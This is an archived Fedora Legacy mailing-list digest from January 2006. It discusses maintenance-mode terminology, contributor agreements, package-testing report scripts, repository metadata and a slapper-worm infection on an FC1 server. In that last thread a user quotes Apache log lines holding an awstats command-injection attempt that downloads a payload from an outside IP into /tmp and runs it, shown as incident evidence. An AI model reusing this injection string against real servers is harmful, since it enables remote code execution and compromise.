Fedora Legacy maintains is not End of Life, it is just > maintained by different folks. Instead one can use the term > 'maintenance mode'. When a give Fedora Core release enters "maintenance > mode", Fedora Legacy, the Community Maintenance Project, will take over > maintenance of the release for Security issues. This is an excellent idea. EOL is a very scary term and you're correct that it isn't 100% accurate. > Together with these term changes, I propose changes to Core to minimize > the exposure of this project: > > Inclusion of Legacy repository and key information in the Core release. > This will allow update programs which make use of yum to not need any > changes once a release enters maintenance mode. This is an absolutely brilliant plan. > Package updates produced by Legacy published to fedora-list and > fedora-announce-list. This keeps our updates in the eyes of users > without them having to subscribe to a new list. Release emails should > use the same or similar format that current Fedora update emails use. I think FL (and FL users) will greatly benefit by having a closer, more integrated relationship with the rest of the Fedora Community. > These are the changes I see as necessary moving forward. Please bear > with us as we try to make each change while continuing to maintain > releases. If you have thoughts/suggestions, I welcome them. > > -- > Jesse Keating RHCE (geek.j2solutions.net) > Fedora Legacy Team (www.fedoralegacy.org) > GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) > > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.2 (GNU/Linux) > > iD8DBQBDzroa4v2HLvE71NURAvRNAJ91p4jgytFe8lxYoIrx3lUSkpIDIQCfTAOc > 5cCdw/q5ZdXavPi48iFxQ/o= > =1afu > -----END PGP SIGNATURE----- I think this is an excellent plan and will help both the Fedora and Fedora Legacy communities. It will bring the Fedora project closer to the way RedHat's free products were prior to the RHEL/FC split prior to FC1 being released (the glory days). -- Matthew Nuzum www.followers.net - Makers of "Elite Content Management System" View samples of Elite CMS in action by visiting http://www.followers.net/portfolio/ From lists at benjamindsmith.com Fri Jan 20 23:39:42 2006 From: lists at benjamindsmith.com (Benjamin Smith) Date: Fri, 20 Jan 2006 15:39:42 -0800 Subject: Auto-reporting of successful testing packages Message-ID: <200601201539.42781.lists@benjamindsmith.com> Well, I finally did it. Attached is a PHP script that, when run at the command line, returns a list of "testing" packages currently installed. Thus, doing some basic testing of packages can be boiled down to: 1) Setup yum to access "updates-testing" repo. 2) yum -y update; 3) Wait a day or three for anything to break; 4) When all looks well, run get_testing_rpms_installed.php 5) Report the packages. I'll do some poking around here; it may be possible to have basic OKs submitted automatically. -Ben -- "The best way to predict the future is to invent it." - XEROX PARC slogan, circa 1978 -------------- next part -------------- A non-text attachment was scrubbed... Name: get_testing_rpms_installed.php Type: application/x-php Size: 1669 bytes Desc: not available URL: From deisenst at gtw.net Sat Jan 21 05:07:41 2006 From: deisenst at gtw.net (David Eisenstein) Date: Fri, 20 Jan 2006 23:07:41 -0600 (CST) Subject: Contributor License Agreement (CLA)?, Re: Wiki page updated In-Reply-To: <43D048AA.7030503@redhat.com> Message-ID: On Fri, 20 Jan 2006, Rahul Sundaram wrote: > Hi > > http://fedoraproject.org/wiki/Legacy/ > > I have improved the content as well as look and feel of the wiki page to > match other project pages within our Fedora Project wiki. Yes, the page looks a lot nicer. It looks like a lot of hard work went into it, and it shows. > I have also > included the information that Fedora Legacy is now a official Fedora > Project supported by the Fedora Foundation. Good. I have a question. No one has said anything about the process of signing up with the Fedora Project. I just discovered that process last night on IRC, at the suggestion of (Patrick Barnes) that in order to officially be a contributor to the Fedora Project, and to gain necessary privileges to help me carry out the work for the Fedora project (in my case, Bugzilla privileges), I needed to apply at get a Fedora Contributor account and (electronically) sign a Contributor License Agreement (CLA), among other things. Is this something that everyone who contributes to Fedora Legacy will be required to do, especially now that Fedora Legacy is officially part of the Fedora Foundation? If so, does that need to be documented in the Fedora Legacy Wiki? I, for one, feel a bit relieved at being given the opportunity to sign a Contributor License Agreement -- because I have been a little bit concerned for awhile just who might be considered liable if someone used a Legacy package, felt the package damaged their machine or their business and decided to sue. The CLA (a copy of which is attached) makes it clear that I as a contributor am releasing the work that I do with NO WARRANTEE WHATSOEVER, and that this is my understanding -- that I am not offering any kind of guarantee that my work will work in all circumstances or won't cause hair to grow on some server's CPU. (For those who are wondering, docs about signing on to the Fedora Account System are at: .) > I have clarified some > terminology in the pages. As an example of these, Fedora Project in > general has avoiding using the term "support" in any our webpages or > documentation to avoid the confusion with commercial support services > and SLA's. I am assuming then that the Fedora Foundation then officially leaves commercial support services and SLA's (Service Level Agreements?) to Red Hat, right? Are there other examples of good terminology that keep Fedora Legacy's goals and verbiage in line with the Foundation's? On the wiki or something? > I have replaced them with maintenance or updates as > appopriate. Also I have replaced the misleading term "End Of Release > (EOL)" with maintenace mode as indicated by Jesse Keating in his earlier > mail to the list. I agree. We shouldn't use the term "EOL" until a given product is actually no longer supported by anybody. > I have copied over and clarified the FAQ from > http://fedoralegacy.org/faq into > http://fedoraproject.org/wiki/Legacy/FAQ. Great work, Rahul. Looks good! > Information on the security > procedures from the legacy site has also been copied over into the wiki > in anticipation of the depreciation of http://fedoralegacy.org in favor > of adding information to the primary Fedora Project website at > http://fedoraproject.org. Comments and feedback is most welcome. Rahul, you removed text mentioning what distributions of RHL and Fedora Core that Legacy supports off of the main page at . It seems to me it would be good to let that remain there, even if that is a question answered in our FAQ. If I think of other comments, will write more. Thanks again, Rahul. And thanks for posting to us that you did so, and for joining our list! Warm regards, David Eisenstein -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: fedora-icla-questor-blackout.txt URL: From stuart at serverpeak.com Sat Jan 21 05:56:28 2006 From: stuart at serverpeak.com (Stuart Low) Date: Sat, 21 Jan 2006 15:56:28 +1000 Subject: Auto-reporting of successful testing packages In-Reply-To: <200601201539.42781.lists@benjamindsmith.com> References: <200601201539.42781.lists@benjamindsmith.com> Message-ID: <1137822988.24546.115.camel@laptop.seekbrain.com> HA, You were thinking exactly what I was thinking and I hadn't been checking my mail. :( Consequently, I've also done something very similar. It does however have a fair number of extra features including: a) Based on "Install Date" sourced from the rpm utilities b) Reports back to a central location c) Uses a "vote" system which basically translates to 1 vote per day the package is installed on the reporting system. d) Only reports RPMs which have been installed for longer than $minInstallAge but not longer than $maxInstallAge. e) Has a "privacy" option if you don't want to have your machines host name reported. Find attached the client version worthy of being put into a crontab & rerouted to /dev/null. It's only requirements are perl (+ a few standard modules notably Date::Calc) & curl to be installed. This has only been tested on Redhat 9 (I only have 1 legacy maintained machine 8-|). I've done a basic interface for the data here: http://www.seekbrain.com/legacy/index.cgi It'd be good if the script tracked what it had already sent information about but I couldn't see the point (and it'll stop doing so once maxInstallAge is reached). Happy to distribute the server side scripts if people need them. Sorry to have redone work. :-| Enjoy, Stuart -------------- next part -------------- A non-text attachment was scrubbed... Name: legacycheck.pl Type: application/x-perl Size: 3330 bytes Desc: not available URL: From sundaram at redhat.com Sat Jan 21 05:57:51 2006 From: sundaram at redhat.com (Rahul Sundaram) Date: Sat, 21 Jan 2006 11:27:51 +0530 Subject: Contributor License Agreement (CLA)?, Re: Wiki page updated In-Reply-To: References: Message-ID: <43D1CD5F.8020803@redhat.com> Hi >>I have also >>included the information that Fedora Legacy is now a official Fedora >>Project supported by the Fedora Foundation. >> >> > >Good. I have a question. No one has said anything about the process of >signing up with the Fedora Project. I just discovered that process last >night on IRC, at the suggestion of (Patrick Barnes) that in order >to officially be a contributor to the Fedora Project, and to gain >necessary privileges to help me carry out the work for the Fedora project >(in my case, Bugzilla privileges), I needed to apply at > >get a Fedora Contributor account and (electronically) sign a Contributor >License Agreement (CLA), among other things. > >Is this something that everyone who contributes to Fedora Legacy will be >required to do, especially now that Fedora Legacy is officially part of >the Fedora Foundation? If so, does that need to be documented in the >Fedora Legacy Wiki? > > I am not sure about this but this probably is required. Jesse Keating can confirm this for you. >I, for one, feel a bit relieved at being given the opportunity to sign a >Contributor License Agreement -- because I have been a little bit >concerned for awhile just who might be considered liable if someone used a >Legacy package, felt the package damaged their machine or their business >and decided to sue. The CLA (a copy of which is attached) makes it clear >that I as a contributor am releasing the work that I do with NO WARRANTEE >WHATSOEVER, and that this is my understanding -- that I am not offering >any kind of guarantee that my work will work in all circumstances or won't >cause hair to grow on some server's CPU. > >(For those who are wondering, docs about signing on to the Fedora Account >System are at: > .) > > Yes this is one of the intended benefits. See http://fedoraproject.org/wiki/Legal/ for other details. Red Hat counsel based this process on other well established community projects such as Apache with a few improvements thrown in line with the Free and open source methodology. If you have any questions on the CLA itself and if it is required for the legacy project (which is very likely), let me know. > > >>I have clarified some >>terminology in the pages. As an example of these, Fedora Project in >>general has avoiding using the term "support" in any our webpages or >>documentation to avoid the confusion with commercial support services >>and SLA's. >> >> > >I am assuming then that the Fedora Foundation then officially leaves >commercial support services and SLA's (Service Level Agreements?) to >Red Hat, right? > > Fedora Foundation does not mention anything about that. It has no say or control over who provides support services for Fedora as far as I know. The foundation is a overall management and delegation authority. It can bless, reject existing or proposed Fedora Projects or choose to shutdown stale projects or entities within Fedora as a extreme measure. It does not micro manage any of the sub projects including legacy beyond that level. Fedora as a open source project does not discriminate against any field of endeavor with OSI definition (http://opensource.org/docs/definition.php). Anybody could do commercial support including Red Hat if and when deemed necessary. Naturally Red Hat believes that those who would want a certified commercial product would choose Red Hat Enterprise Linux instead which shares a code base with Fedora thereby providing it the ability to continue funding the Fedora Project in money and in kind resources (Engineers, services etc) and provide Fedora for Free( in both sense of the word) with rapid changes released in a rough time based public schedule. >>Information on the security >>procedures from the legacy site has also been copied over into the wiki >>in anticipation of the depreciation of http://fedoralegacy.org in favor >>of adding information to the primary Fedora Project website at >>http://fedoraproject.org. Comments and feedback is most welcome. >> >> > >Rahul, you removed text mentioning what distributions of RHL and Fedora >Core that Legacy supports off of the main page at >. It seems to me it would be good to >let that remain there, even if that is a question answered in our FAQ. > > I did not want us to update two places in the wiki when a new Fedora release gets added/removed from legacy. I have included this information as the very first question in the FAQ. The first FAQ has now be imported into a section within the main legacy page automatically using a regex macro. This can be slightly fragile. So if you are editing the relevant pages make sure you do not break this. I will keep an eye too. >If I think of other comments, will write more. Thanks again, Rahul. And >thanks for posting to us that you did so, and for joining our list! > You are welcome. -- Rahul Fedora Bug Triaging - http://fedoraproject.org/wiki/BugZappers From nman64 at n-man.com Sat Jan 21 06:13:06 2006 From: nman64 at n-man.com (Patrick Barnes) Date: Sat, 21 Jan 2006 00:13:06 -0600 Subject: Contributor License Agreement (CLA)?, Re: Wiki page updated In-Reply-To: References: Message-ID: <43D1D0F2.6030406@n-man.com> David Eisenstein wrote: > On Fri, 20 Jan 2006, Rahul Sundaram wrote: > > > Hi > > > > http://fedoraproject.org/wiki/Legacy/ > > > > I have improved the content as well as look and feel of the wiki page to > > match other project pages within our Fedora Project wiki. > > Yes, the page looks a lot nicer. It looks like a lot of hard work went > into it, and it shows. > > > I have also > > included the information that Fedora Legacy is now a official Fedora > > Project supported by the Fedora Foundation. > > Good. I have a question. No one has said anything about the process of > signing up with the Fedora Project. I just discovered that process last > night on IRC, at the suggestion of (Patrick Barnes) that in order > to officially be a contributor to the Fedora Project, and to gain > necessary privileges to help me carry out the work for the Fedora project > (in my case, Bugzilla privileges), I needed to apply at > > get a Fedora Contributor account and (electronically) sign a Contributor > License Agreement (CLA), among other things. > > Is this something that everyone who contributes to Fedora Legacy will be > required to do, especially now that Fedora Legacy is officially part of > the Fedora Foundation? If so, does that need to be documented in the > Fedora Legacy Wiki? > > I, for one, feel a bit relieved at being given the opportunity to sign a > Contributor License Agreement -- because I have been a little bit > concerned for awhile just who might be considered liable if someone used a > Legacy package, felt the package damaged their machine or their business > and decided to sue. The CLA (a copy of which is attached) makes it clear > that I as a contributor am releasing the work that I do with NO WARRANTEE > WHATSOEVER, and that this is my understanding -- that I am not offering > any kind of guarantee that my work will work in all circumstances or won't > cause hair to grow on some server's CPU. > > (For those who are wondering, docs about signing on to the Fedora Account > System are at: > .) > This is a decision that each sub-project must make. There are certain tasks for which the Account System is required. It is up to each team to decide whether or not to require an account for other situations. The CLA has obvious advantages and should be required for anyone who contributes things like code or packages. The Legacy team might want to get a group in the Account System in order to track contributors, make the CLA requirement easier to handle, and to provide a single group that can be granted access. The Account System might become more of a requirement in the future, so it would also prepare you for such a time. If this is something that the Legacy team would be interested in, let me know. > > I have clarified some > > terminology in the pages. As an example of these, Fedora Project in > > general has avoiding using the term "support" in any our webpages or > > documentation to avoid the confusion with commercial support services > > and SLA's. > > I am assuming then that the Fedora Foundation then officially leaves > commercial support services and SLA's (Service Level Agreements?) to > Red Hat, right? > > We have no official position in this matter. We generally point people to Red Hat if they require such things, but there is no policy with regards to this. Remember that Red Hat only provides support for RHEL, not for Fedora, so making the distinction is important when you refer to Red Hat's support. Anyone can offer support services for Fedora, but Red Hat and the Foundation do not. > Are there other examples of good terminology that keep Fedora Legacy's > goals and verbiage in line with the Foundation's? On the wiki or > something? > Some guidelines can be found at http://fedoraproject.org/wiki/WikiEditing Some of those apply only to the wiki, but others apply to the entire Fedora Project. You'll also find some valuable links there. > > I have replaced them with maintenance or updates as > > appopriate. Also I have replaced the misleading term "End Of Release > > (EOL)" with maintenace mode as indicated by Jesse Keating in his earlier > > mail to the list. > > I agree. We shouldn't use the term "EOL" until a given product is > actually no longer supported by anybody. > > > I have copied over and clarified the FAQ from > > http://fedoralegacy.org/faq into > > http://fedoraproject.org/wiki/Legacy/FAQ. > > Great work, Rahul. Looks good! > > > Information on the security > > procedures from the legacy site has also been copied over into the wiki > > in anticipation of the depreciation of http://fedoralegacy.org in favor > > of adding information to the primary Fedora Project website at > > http://fedoraproject.org. Comments and feedback is most welcome. > > Rahul, you removed text mentioning what distributions of RHL and Fedora > Core that Legacy supports off of the main page at > . It seems to me it would be good to > let that remain there, even if that is a question answered in our FAQ. > I've helped Rahul get that piece of the FAQ included on the front page, so you only have to worry about editing the FAQ to update that information, now. > If I think of other comments, will write more. Thanks again, Rahul. And > thanks for posting to us that you did so, and for joining our list! > > Warm regards, > > David Eisenstein > Feel free to let me know if you have questions. -- Patrick "The N-Man" Barnes nman64 at n-man.com http://www.n-man.com/ -- Have I been helpful? Rate my assistance! http://rate.affero.net/nman64/ -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From pekkas at netcore.fi Sat Jan 21 08:03:44 2006 From: pekkas at netcore.fi (Pekka Savola) Date: Sat, 21 Jan 2006 10:03:44 +0200 (EET) Subject: Auto-reporting of successful testing packages In-Reply-To: <1137822988.24546.115.camel@laptop.seekbrain.com> References: <200601201539.42781.lists@benjamindsmith.com> <1137822988.24546.115.camel@laptop.seekbrain.com> Message-ID: On Sat, 21 Jan 2006, Stuart Low wrote: > You were thinking exactly what I was thinking and I hadn't been checking > my mail. :( FWIW, I think this is the direction we need to go to if we want Fedora Legacy to (remain/become) relevant. It's just way too much fuss to get: 1) packages proposed 2) packages approved for testing 3) packages which have been out for testing put to official updates This would address the third problem. Other suggestions earlier this week would help with 1) and hopefully also with 2). -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From sundaram at redhat.com Sat Jan 21 08:12:38 2006 From: sundaram at redhat.com (Rahul Sundaram) Date: Sat, 21 Jan 2006 13:42:38 +0530 Subject: Contributor License Agreement (CLA)?, Re: Wiki page updated In-Reply-To: <43D1CD5F.8020803@redhat.com> References: <43D1CD5F.8020803@redhat.com> Message-ID: <43D1ECF6.9030108@redhat.com> Hi >> > Fedora Foundation does not mention anything about that. It has no say > or control over who provides support services for Fedora as far as I > know. The foundation is a overall management and delegation authority. > It can bless, reject existing or proposed Fedora Projects or choose to > shutdown stale projects or entities within Fedora as a extreme > measure. It does not micro manage any of the sub projects including > legacy beyond that level. I will add to this since it was asked to me off list. What does the presence of foundation mean for the legacy project? Generally you dont have to worry about the foundation other than potentially funding. The foundation has accepted this project as a formal one and the legal as well as management practices will in general codify existing practices in this project rather than requiring to change to fit in some rigid structure however there are some potential changes like the CLA which might be projected for everyone's benefit and for the management to be streamlined across various Fedora Projects. -- Rahul Fedora Bug Triaging - http://fedoraproject.org/wiki/BugZappers Ps: It would be helpful if people can ask questions in the list itself. I dont want to repeat answers individually for everyone. From jkeating at j2solutions.net Sat Jan 21 08:15:43 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Sat, 21 Jan 2006 00:15:43 -0800 Subject: Contributor License Agreement (CLA)?, Re: Wiki page updated In-Reply-To: References: Message-ID: <1137831344.2872.25.camel@ender> On Fri, 2006-01-20 at 23:07 -0600, David Eisenstein wrote: > > Is this something that everyone who contributes to Fedora Legacy will be > required to do, especially now that Fedora Legacy is officially part of > the Fedora Foundation? If so, does that need to be documented in the > Fedora Legacy Wiki? Previously no such agreement was necessary. However moving forward, as we come more inline with the way that Extras and the Fedora Project in general does things, we should have all our contributors follow this procedure. We just haven't set it in stone yet (; -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From deisenst at gtw.net Sat Jan 21 23:18:19 2006 From: deisenst at gtw.net (David Eisenstein) Date: Sat, 21 Jan 2006 17:18:19 -0600 (CST) Subject: yum -- Repodata in os directories? Message-ID: Hi, Please correct me if I am wrong, but my understanding is that Fedora Legacy maintains "repodata" in its directories so that users who have upgraded their yum program to version 2.2+ can still use yum for updating their systems or installing software they hadn't previously installed? Problem is, there are no repodata subdirectories in any of the os directories off of download.fedoralegacy.org (e.g., /fedora/3/os/i386/, /fedora/3/os/SRPMS/). With our repository set up this way, will users who have switched to using versions of yum >= version 2.2 still be able to download original distro files? That is, will a FC3 user using yum-2.2.2-0.fc3 who never installed, say, epic, be able to successfully run # yum install epic ?? -David From sheltren at cs.ucsb.edu Sat Jan 21 23:42:15 2006 From: sheltren at cs.ucsb.edu (Jeff Sheltren) Date: Sat, 21 Jan 2006 19:42:15 -0400 Subject: yum -- Repodata in os directories? In-Reply-To: References: Message-ID: <4D8F6561-06A5-4255-9078-3977F49E6F02@cs.ucsb.edu> On Jan 21, 2006, at 7:18 PM, David Eisenstein wrote: > Hi, > > Please correct me if I am wrong, but my understanding is that Fedora > Legacy maintains "repodata" in its directories so that users who have > upgraded their yum program to version 2.2+ can still use yum for > updating > their systems or installing software they hadn't previously installed? > > Problem is, there are no repodata subdirectories in any of the os > directories off of download.fedoralegacy.org (e.g., /fedora/3/os/ > i386/, > /fedora/3/os/SRPMS/). > > With our repository set up this way, will users who have switched > to using > versions of yum >= version 2.2 still be able to download original > distro > files? That is, will a FC3 user using yum-2.2.2-0.fc3 who never > installed, > say, epic, be able to successfully run > > # yum install epic > > ?? > -David Hi David, you're correct - createrepo should be run in the os directories as well as the updates. -Jeff From jkeating at j2solutions.net Sat Jan 21 23:46:28 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Sat, 21 Jan 2006 23:46:28 -0000 Subject: yum -- Repodata in os directories? In-Reply-To: References: Message-ID: <1096629003.2977.0.camel@yoda.loki.me> On Sat, 2006-01-21 at 17:18 -0600, David Eisenstein wrote: > > Problem is, there are no repodata subdirectories in any of the os > directories off of download.fedoralegacy.org (e.g., /fedora/3/os/i386/, > /fedora/3/os/SRPMS/). Whoops, my bad. Fixing right now. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jimpop at yahoo.com Sun Jan 22 00:25:49 2006 From: jimpop at yahoo.com (Jim Popovitch) Date: Sat, 21 Jan 2006 19:25:49 -0500 Subject: yum -- Repodata in os directories? In-Reply-To: <1096629003.2977.0.camel@yoda.loki.me> References: <1096629003.2977.0.camel@yoda.loki.me> Message-ID: <43D2D10D.7000204@yahoo.com> Jesse Keating wrote: > On Sat, 2006-01-21 at 17:18 -0600, David Eisenstein wrote: >> Problem is, there are no repodata subdirectories in any of the os >> directories off of download.fedoralegacy.org (e.g., /fedora/3/os/i386/, >> /fedora/3/os/SRPMS/). > > Whoops, my bad. Fixing right now. You might want to adjust your PC clock too.... you are living in 2004. :-) -Jim P. From lists at benjamindsmith.com Sun Jan 22 07:34:20 2006 From: lists at benjamindsmith.com (Benjamin Smith) Date: Sat, 21 Jan 2006 23:34:20 -0800 Subject: Auto-reporting of successful testing packages In-Reply-To: <1137822988.24546.115.camel@laptop.seekbrain.com> References: <200601201539.42781.lists@benjamindsmith.com> <1137822988.24546.115.camel@laptop.seekbrain.com> Message-ID: <200601212334.20624.lists@benjamindsmith.com> Well, Your script appears to be more detailed than my own. Mine's based on PHP, yours is perl. But yum is written in python, and that's probably the language that should be used for a FL "maintainer" RPM. Of course, what we have now outta come first. Question for the group: is this the direction we all are going to go? I think the success of this type of improvement (auto-reporting) is crucial to the long-term success of FL. If contributing to FL is a pain, few will do it. By making as much as possible "push button", so that we can gather as much relevant and useful info as possible without operator intervention, we improve the likelyhood of collection of said data. So, what about it, guys? Here we have two people who've come up with their own solutions (a la perl and PHP) to a problem that's widely acknowledged. What say ye? -Ben On Friday 20 January 2006 21:56, you wrote: > HA, > > You were thinking exactly what I was thinking and I hadn't been checking > my mail. :( > > Consequently, I've also done something very similar. It does however > have a fair number of extra features including: > a) Based on "Install Date" sourced from the rpm utilities > b) Reports back to a central location > c) Uses a "vote" system which basically translates to 1 vote per day the > package is installed on the reporting system. > d) Only reports RPMs which have been installed for longer than > $minInstallAge but not longer than $maxInstallAge. > e) Has a "privacy" option if you don't want to have your machines host > name reported. > > Find attached the client version worthy of being put into a crontab & > rerouted to /dev/null. It's only requirements are perl (+ a few standard > modules notably Date::Calc) & curl to be installed. > > This has only been tested on Redhat 9 (I only have 1 legacy maintained > machine 8-|). > > I've done a basic interface for the data here: > http://www.seekbrain.com/legacy/index.cgi > > It'd be good if the script tracked what it had already sent information > about but I couldn't see the point (and it'll stop doing so once > maxInstallAge is reached). > > Happy to distribute the server side scripts if people need them. > > Sorry to have redone work. :-| > > Enjoy, > > Stuart > > -- > This message has been scanned for viruses and > dangerous content by MailScanner, and is > believed to be clean. > > -- "The best way to predict the future is to invent it." - XEROX PARC slogan, circa 1978 From jkeating at j2solutions.net Sun Jan 22 10:32:13 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Sun, 22 Jan 2006 02:32:13 -0800 Subject: yum -- Repodata in os directories? In-Reply-To: <43D2D10D.7000204@yahoo.com> References: <1096629003.2977.0.camel@yoda.loki.me> <43D2D10D.7000204@yahoo.com> Message-ID: <1137925933.2793.0.camel@ender> On Sat, 2006-01-21 at 19:25 -0500, Jim Popovitch wrote: > > You might want to adjust your PC clock too.... you are living in > 2004. :-) Hah, whoops. Power outage and mobo reset to defaults. Time was a little off. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From stuart at serverpeak.com Sun Jan 22 14:16:46 2006 From: stuart at serverpeak.com (Stuart Low) Date: Mon, 23 Jan 2006 00:16:46 +1000 Subject: Auto-reporting of successful testing packages In-Reply-To: <200601212334.20624.lists@benjamindsmith.com> References: <200601201539.42781.lists@benjamindsmith.com> <1137822988.24546.115.camel@laptop.seekbrain.com> <200601212334.20624.lists@benjamindsmith.com> Message-ID: <1137939406.24546.199.camel@laptop.seekbrain.com> Heya, > Your script appears to be more detailed than my own. Mine's based on PHP, > yours is perl. But yum is written in python, and that's probably the language > that should be used for a FL "maintainer" RPM. Of course, what we have now > outta come first. I'd be happy to have a go at doing this. We'd need to define some sort of basic API and feature list though. Stuart From mic at npgx.com.au Mon Jan 23 20:32:29 2006 From: mic at npgx.com.au (Michael Mansour) Date: Tue, 24 Jan 2006 06:32:29 +1000 Subject: slapper worm Message-ID: <20060123202711.M4829@npgx.com.au> Hi guys, I have an FC1 machine which got infected twice with the slapper worm, and then started DOS attacking a large vendor. I've stopped slapper in its tracks with a couple of changes to FC1, but in analysing now how it got in (it seems to use SSLv2 vulerabilities in an apache SSL server which I've now turned off), I see the following bit of interest in my apache access_log: 220.135.223.35 - - [23/Jan/2006:08:33:02 +1100] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" 403 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 220.135.223.35 - - [23/Jan/2006:08:33:03 +1100] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| HTTP/1.1" 404 340 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" These "scripz" files end up going into /tmp, being compiled with gcc, renamed to "httpd" and run as that. I'm using: perl-5.8.3-17.4.legacy httpd-2.0.51-1.9.legacy openssl-0.9.7a-33.13.legacy Are there any updates FL can do to any of the packages to fix/block slapper from an FC1 machine? Michael. From jkosin at beta.intcomgrp.com Mon Jan 23 20:42:22 2006 From: jkosin at beta.intcomgrp.com (James Kosin) Date: Mon, 23 Jan 2006 15:42:22 -0500 Subject: slapper worm In-Reply-To: <20060123202711.M4829@npgx.com.au> References: <20060123202711.M4829@npgx.com.au> Message-ID: <43D53FAE.2000309@beta.intcomgrp.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Michael Mansour wrote: > Hi guys, > > I have an FC1 machine which got infected twice with the slapper worm, and then > started DOS attacking a large vendor. > > I've stopped slapper in its tracks with a couple of changes to FC1, but in > analysing now how it got in (it seems to use SSLv2 vulerabilities in an apache > SSL server which I've now turned off), I see the following bit of interest in > my apache access_log: > > 220.135.223.35 - - [23/Jan/2006:08:33:02 +1100] "GET > /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| > HTTP/1.1" > 403 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" > 220.135.223.35 - - [23/Jan/2006:08:33:03 +1100] "GET > /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| > HTTP/1.1" > 404 340 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" > > These "scripz" files end up going into /tmp, being compiled with gcc, renamed > to "httpd" and run as that. > > I'm using: > > perl-5.8.3-17.4.legacy > httpd-2.0.51-1.9.legacy > openssl-0.9.7a-33.13.legacy > > Are there any updates FL can do to any of the packages to fix/block slapper > from an FC1 machine? > > Michael. > Michael, Try my version of httpd here: http://support.intcomgrp.com/~jkosin It has been effective against the worm so far. James Kosin -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFD1T+ukNLDmnu1kSkRAv20AJ0d7pl7B6zAOZb+OmhkiiKG/Fpp1ACfcnmE gJoc286M9LvSAXn2cjXHEok= =5ZOF -----END PGP SIGNATURE----- -- Scanned by ClamAV - http://www.clamav.net From mic at npgx.com.au Mon Jan 23 21:06:44 2006 From: mic at npgx.com.au (Michael Mansour) Date: Tue, 24 Jan 2006 07:06:44 +1000 Subject: slapper worm In-Reply-To: <43D53FAE.2000309@beta.intcomgrp.com> References: <20060123202711.M4829@npgx.com.au> <43D53FAE.2000309@beta.intcomgrp.com> Message-ID: <20060123210511.M68015@npgx.com.au> Hi James, > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Michael Mansour wrote: > > Hi guys, > > > > I have an FC1 machine which got infected twice with the slapper worm, and then > > started DOS attacking a large vendor. > > > > I've stopped slapper in its tracks with a couple of changes to FC1, but in > > analysing now how it got in (it seems to use SSLv2 vulerabilities in an apache > > SSL server which I've now turned off), I see the following bit of interest in > > my apache access_log: > > > > 220.135.223.35 - - [23/Jan/2006:08:33:02 +1100] "GET > > /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| > > HTTP/1.1" > > 403 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" > > 220.135.223.35 - - [23/Jan/2006:08:33:03 +1100] "GET > > /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ft > > mp%3bwget%20194%2e102%2e194%2e115%2fscripz%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo| > > HTTP/1.1" > > 404 340 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" > > > > These "scripz" files end up going into /tmp, being compiled with gcc, renamed > > to "httpd" and run as that. > > > > I'm using: > > > > perl-5.8.3-17.4.legacy > > httpd-2.0.51-1.9.legacy > > openssl-0.9.7a-33.13.legacy > > > > Are there any updates FL can do to any of the packages to fix/block slapper > > from an FC1 machine? > > > > Michael. > > > > Michael, > > Try my version of httpd here: > http://support.intcomgrp.com/~jkosin > > It has been effective against the worm so far. Thanks, I will actually try them out today. Have you considered making a yum/apt repo for your packages? it'll make it much easier to yum to newer releases when you have them, and it's quite easy to make a yum/apt repo. Michael. From jkeating at j2solutions.net Mon Jan 23 